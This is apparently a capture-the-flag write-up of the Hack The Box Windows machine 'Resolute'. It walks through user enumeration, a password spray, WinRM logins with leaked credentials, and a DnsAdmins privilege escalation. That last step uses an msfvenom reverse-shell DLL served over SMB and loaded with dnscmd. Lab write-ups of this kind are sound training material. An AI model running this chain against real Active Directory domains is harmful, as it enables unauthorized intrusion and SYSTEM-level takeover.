September 19, 2026·Johnytiger

HTB: Resolute

A password left sitting in an Active Directory account description opens the first door. A forgotten PowerShell transcript on disk hands over a second account, and DnsAdmins membership turns a DLL into a SYSTEM shell.

securityctfwriteuphacktheboxactive directorywindowsprivilege escalationdns

The Hack The Box machine card for Resolute, rated Medium, running Windows

First things first, we nmap the system and see what we have going on here.

The nmap scan showing a Windows Server 2016 domain controller with DNS, Kerberos, SMB, LDAP and WinRM open for the megabank.local domain

We have a domain, so let's add it to our hosts file and begin to enumerate the system with enum4linux.

enum4linux-ng -A megabank.local

enum4linux dumping the domain users, where the Marko Novak account has its initial password written into the account description field

We have a username and a password to work with. This user left their password in the account description. Let's save all the users into a users.txt and run it by that default password and see what we can get.

nxc smb 10.129.96.155 -u users.txt -p 'Welcome123!' --continue-on-success

The spray with the password from the description, failing for every account except melanie

We get a hit with melanie. Let's log in and check out what we can find. Running the account through an LDAP group lookup we find that melanie is part of the Remote Desktop Users group.

nxc ldap 10.129.96.155 -u melanie -p 'Welcome123!' --groups

The LDAP group listing, showing Remote Desktop Users among the groups on the domain

Let's confirm with NetExec.

nxc winrm 10.129.96.155 -u melanie -p 'Welcome123!'

NetExec confirming the melanie credentials over WinRM with a Pwn3d! result

We get Pwn3d, so let's log in with evil-winrm and see what we have going on. Heading over to their desktop we find the user flag.

evil-winrm -i 10.129.96.155 -u melanie -p 'Welcome123!'

Let's begin privesc enumeration and see what kind of permissions we have. We transfer over winPEAS and it reveals a hidden directory at C:\PSTranscripts, so let's check this out and see what we can find.

Get-ChildItem C:\ -Force
Get-ChildItem C:\PSTranscripts -Recurse -Force

Within this directory we find a PowerShell transcript, and it has the ryan account's credentials sitting in it. By the looks of it he might be an admin.

$A PowerShell transcript log from C:\PSTranscripts, recording a net use command with the ryan account's password in plaintext$

PowerShell transcription logs everything typed into a session, including anything passed on a command line, so a single mistyped net use left a password on disk in cleartext for anyone who could read the folder.

Let's go ahead and drop in as ryan and see what kind of permissions we have.

evil-winrm -i 10.129.96.155 -u ryan -p 'Serv3r4Admin4cc123!'

The note.txt on ryan's desktop, warning that any system change outside the administrator account is automatically reverted within one minute

There's a note on ryan's desktop saying that any changes apart from those to the admin account will be reverted within one minute. This is going to be a challenge.

Checking ryan's groups we see he is in DnsAdmins.

net user ryan

DnsAdmins members can tell the DNS service to load an arbitrary DLL as a server level plugin, and that service runs as SYSTEM. So we can build a reverse shell DLL, feed it in as a DNS plugin and try to grab NT AUTHORITY that way. Let's give it a shot.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 -f dll -o rev.dll

We serve it with an SMB server.

sudo impacket-smbserver share ~/thm/resolute -smb2support

And bust it down on the ryan shell, then restart the service.

dnscmd.exe /config /serverlevelplugindll \\10.10.14.211\share\rev.dll

sc.exe stop dns
sc.exe start dns

$A netcat listener catching the callback from the DNS service, with whoami returning nt authority\system$

We got the shell. Let's head over to the administrator desktop and grab that root flag.

type C:\Users\Administrator\Desktop\root.txt

This box was a little different than usual, yet very simple. No ticket or NTLM hash issues, just basic misconfiguration and enumeration with a little injection exploit.

End of transmissionAll posts